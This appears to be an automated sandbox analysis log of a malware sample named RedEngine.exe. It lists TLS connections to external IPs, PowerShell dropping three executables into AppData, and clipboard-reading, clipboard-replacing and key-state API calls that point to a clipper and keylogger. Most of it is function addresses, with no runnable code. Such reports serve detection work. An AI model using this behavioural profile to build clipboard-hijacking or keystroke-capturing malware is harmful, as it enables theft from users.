Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 164.132.58.105:443 -> 192.168.2.7:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.7:49730 version: TLS 1.2

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe

Code function: 31_2_00007FFB01998660 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GetLocaleInfoA,GlobalUnlock,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,CloseClipboard,

31_2_00007FFB01998660

Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5A8D70 OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		42_2_00007FFB1C5A8D70
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5A8BA0 GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,		42_2_00007FFB1C5A8BA0

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe

31_2_00007FFB01998660

Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe

Code function: 42_2_00007FFB1C5B77F0 ClientToScreen,GetSystemMetrics,GetAsyncKeyState,GetAsyncKeyState,TrackPopupMenu,GetCursorPos,WindowFromPoint,

42_2_00007FFB1C5B77F0

Source: mgne4i3n.t1d0.exe, 0000000B.00000002.1678511629.000000000261E000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_6e273257-d

Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe

Code function: 42_2_00007FFB1C5BB830 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,

42_2_00007FFB1C5BB830

System Summary

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Jump to dropped file

Very long command line found

Source: C:\Users\user\Desktop\RedEngine.exe	Process created: Commandline size = 2586
Source: C:\Users\user\Desktop\RedEngine.exe	Process created: Commandline size = 2586			Jump to behavior

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A730D0 NtQueryInformationProcess,	11_2_00A730D0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A730C9 NtQueryInformationProcess,	11_2_00A730C9
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648D4C40 WSAStartup,gethostbyname,socket,setsockopt,setsockopt,setsockopt,htons,sendto,sendto,recvfrom,recvfrom,ntohl,ntohl,ntohl,closesocket,WSACleanup,WSAGetLastError,closesocket,WSACleanup,SetLastError,WSAGetLastError,WSACleanup,SetLastError,	31_2_648D4C40

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe

Code function: 31_2_648D3E30: memset,wsprintfA,CreateFileA,memset,DeviceIoControl,CloseHandle,isxdigit,isxdigit,isxdigit,isprint,memcpy,CloseHandle,strlen,memcpy,

31_2_648D3E30

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A71820	11_2_00A71820
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A72070	11_2_00A72070
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A79109	11_2_00A79109
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A74318	11_2_00A74318
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A75359	11_2_00A75359
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A73CE0	11_2_00A73CE0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A714F8	11_2_00A714F8
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A7E428	11_2_00A7E428
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A70C10	11_2_00A70C10
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A73588	11_2_00A73588
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A78D70	11_2_00A78D70
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A756F8	11_2_00A756F8
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A7AE38	11_2_00A7AE38
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A7CE10	11_2_00A7CE10
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A7D780	11_2_00A7D780
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A7BF08	11_2_00A7BF08
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A7B8A8	11_2_00A7B8A8
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A71810	11_2_00A71810
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A72060	11_2_00A72060
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A7A158	11_2_00A7A158
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A74307	11_2_00A74307
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A7AB68	11_2_00A7AB68
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A7EB58	11_2_00A7EB58
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A70C00	11_2_00A70C00
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A7E419	11_2_00A7E419
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A78D60	11_2_00A78D60
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A7AE28	11_2_00A7AE28
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A76660	11_2_00A76660
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_00A7A758	11_2_00A7A758
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_04950488	11_2_04950488
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_04950ED8	11_2_04950ED8
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_04959E20	11_2_04959E20
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_0495A5C8	11_2_0495A5C8
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_049D0040	11_2_049D0040
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_049D59D8	11_2_049D59D8
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_049D64D8	11_2_049D64D8
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_049D64C8	11_2_049D64C8
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_049D0006	11_2_049D0006
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_049D6210	11_2_049D6210
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_049D10B0	11_2_049D10B0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_049D10C0	11_2_049D10C0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_049D5E98	11_2_049D5E98
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_049D59C9	11_2_049D59C9
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_07264EE0	11_2_07264EE0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_07264ED1	11_2_07264ED1
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_07260168	11_2_07260168
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_072611C0	11_2_072611C0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_072688C8	11_2_072688C8
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Code function: 13_2_0040C898	13_2_0040C898
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Code function: 13_2_0040E950	13_2_0040E950
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Code function: 13_2_00410910	13_2_00410910
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Code function: 13_2_004109D9	13_2_004109D9
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Code function: 13_2_004105E0	13_2_004105E0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Code function: 13_2_00411580	13_2_00411580
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Code function: 13_2_00410993	13_2_00410993
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Code function: 13_2_00410600	13_2_00410600
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Code function: 13_2_0040B347	13_2_0040B347
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Code function: 13_2_0040F3C8	13_2_0040F3C8
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BE5C74	14_2_00007FF741BE5C74
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BDFBD8	14_2_00007FF741BDFBD8
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BE4F10	14_2_00007FF741BE4F10
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BC1000	14_2_00007FF741BC1000
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BD7AAC	14_2_00007FF741BD7AAC
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BD0A60	14_2_00007FF741BD0A60
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BD1280	14_2_00007FF741BD1280
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BE8A38	14_2_00007FF741BE8A38
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BDD200	14_2_00007FF741BDD200
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BD91B0	14_2_00007FF741BD91B0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BE518C	14_2_00007FF741BE518C
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BD2CC4	14_2_00007FF741BD2CC4
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BD0C64	14_2_00007FF741BD0C64
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BD1484	14_2_00007FF741BD1484
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BD73F4	14_2_00007FF741BD73F4
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BE33BC	14_2_00007FF741BE33BC
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BE0B84	14_2_00007FF741BE0B84
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BC8B20	14_2_00007FF741BC8B20
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BD0E70	14_2_00007FF741BD0E70
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BC95FB	14_2_00007FF741BC95FB
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BDCD6C	14_2_00007FF741BDCD6C
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BD28C0	14_2_00007FF741BD28C0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BD1074	14_2_00007FF741BD1074
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BDD880	14_2_00007FF741BDD880
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BD5040	14_2_00007FF741BD5040
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BC979B	14_2_00007FF741BC979B
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BC9FCD	14_2_00007FF741BC9FCD
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BE2F20	14_2_00007FF741BE2F20
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BDFBD8	14_2_00007FF741BDFBD8
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BD1F30	14_2_00007FF741BD1F30
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BE5728	14_2_00007FF741BE5728
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648C6610	31_2_648C6610
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648C5100	31_2_648C5100
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648D94F0	31_2_648D94F0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648E9460	31_2_648E9460
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648D8470	31_2_648D8470
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_64903522	31_2_64903522
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_6491A690	31_2_6491A690
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_6490A680	31_2_6490A680
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648C76A0	31_2_648C76A0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_64942630	31_2_64942630
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_64922650	31_2_64922650
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648CA654	31_2_648CA654
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648D5780	31_2_648D5780
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_649180B0	31_2_649180B0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648D7010	31_2_648D7010
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648E6180	31_2_648E6180
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648D61B0	31_2_648D61B0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648EB1C0	31_2_648EB1C0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_64919155	31_2_64919155
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648EE280	31_2_648EE280
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_649292B0	31_2_649292B0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648E82A0	31_2_648E82A0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_649642F8	31_2_649642F8
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648E2200	31_2_648E2200
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_64964230	31_2_64964230
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_6491B300	31_2_6491B300
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_64964300	31_2_64964300
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648E5350	31_2_648E5350
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648EFC10	31_2_648EFC10
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648ECC40	31_2_648ECC40
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648EADA0	31_2_648EADA0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_64928DD0	31_2_64928DD0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648DCDD0	31_2_648DCDD0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648E9D40	31_2_648E9D40
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648C7E90	31_2_648C7E90
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648EFE90	31_2_648EFE90
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648D8E30	31_2_648D8E30
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648D8FD0	31_2_648D8FD0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648CA883	31_2_648CA883
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_649038B0	31_2_649038B0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648D0810	31_2_648D0810
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648CC840	31_2_648CC840
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648E9850	31_2_648E9850
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_64918870	31_2_64918870
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_649299D0	31_2_649299D0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648CA9E0	31_2_648CA9E0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648D5900	31_2_648D5900
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_64940900	31_2_64940900
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_648E1940	31_2_648E1940
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_64919B70	31_2_64919B70
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BE5C74	31_2_00007FF741BE5C74
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BC1000	31_2_00007FF741BC1000
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BD7AAC	31_2_00007FF741BD7AAC
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BD0A60	31_2_00007FF741BD0A60
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BD1280	31_2_00007FF741BD1280
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BE8A38	31_2_00007FF741BE8A38
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BDD200	31_2_00007FF741BDD200
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BD91B0	31_2_00007FF741BD91B0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BE518C	31_2_00007FF741BE518C
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BD2CC4	31_2_00007FF741BD2CC4
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BD0C64	31_2_00007FF741BD0C64
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BD1484	31_2_00007FF741BD1484
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BDFBD8	31_2_00007FF741BDFBD8
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BD73F4	31_2_00007FF741BD73F4
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BE33BC	31_2_00007FF741BE33BC
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BE0B84	31_2_00007FF741BE0B84
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BC8B20	31_2_00007FF741BC8B20
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BE4F10	31_2_00007FF741BE4F10
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BD0E70	31_2_00007FF741BD0E70
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BC95FB	31_2_00007FF741BC95FB
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BDCD6C	31_2_00007FF741BDCD6C
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BD28C0	31_2_00007FF741BD28C0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BD1074	31_2_00007FF741BD1074
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BDD880	31_2_00007FF741BDD880
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BD5040	31_2_00007FF741BD5040
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BC979B	31_2_00007FF741BC979B
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BC9FCD	31_2_00007FF741BC9FCD
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BE2F20	31_2_00007FF741BE2F20
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BDFBD8	31_2_00007FF741BDFBD8
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BD1F30	31_2_00007FF741BD1F30
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BE5728	31_2_00007FF741BE5728
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB01A76370	31_2_00007FFB01A76370
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB019A5080	31_2_00007FFB019A5080
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB01A67230	31_2_00007FFB01A67230
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB019A1310	31_2_00007FFB019A1310
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB01A6568E	31_2_00007FFB01A6568E
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB01A0F910	31_2_00007FFB01A0F910
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB019A4200	31_2_00007FFB019A4200
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB01A141F0	31_2_00007FFB01A141F0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB01A44190	31_2_00007FFB01A44190
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB019D4110	31_2_00007FFB019D4110
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB019920F0	31_2_00007FFB019920F0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB019BC618	31_2_00007FFB019BC618
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB01FD02D0	31_2_00007FFB01FD02D0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB01EFB9F0	31_2_00007FFB01EFB9F0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB01E860C0	31_2_00007FFB01E860C0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB01EE4B90	31_2_00007FFB01EE4B90
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB01EE3D60	31_2_00007FFB01EE3D60
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB01F27FE0	31_2_00007FFB01F27FE0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB01EDD530	31_2_00007FFB01EDD530
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB01F6E640	31_2_00007FFB01F6E640
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB01EE0280	31_2_00007FFB01EE0280
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB01F9AAD0	31_2_00007FFB01F9AAD0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB01EE3A40	31_2_00007FFB01EE3A40
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB01E73A47	31_2_00007FFB01E73A47
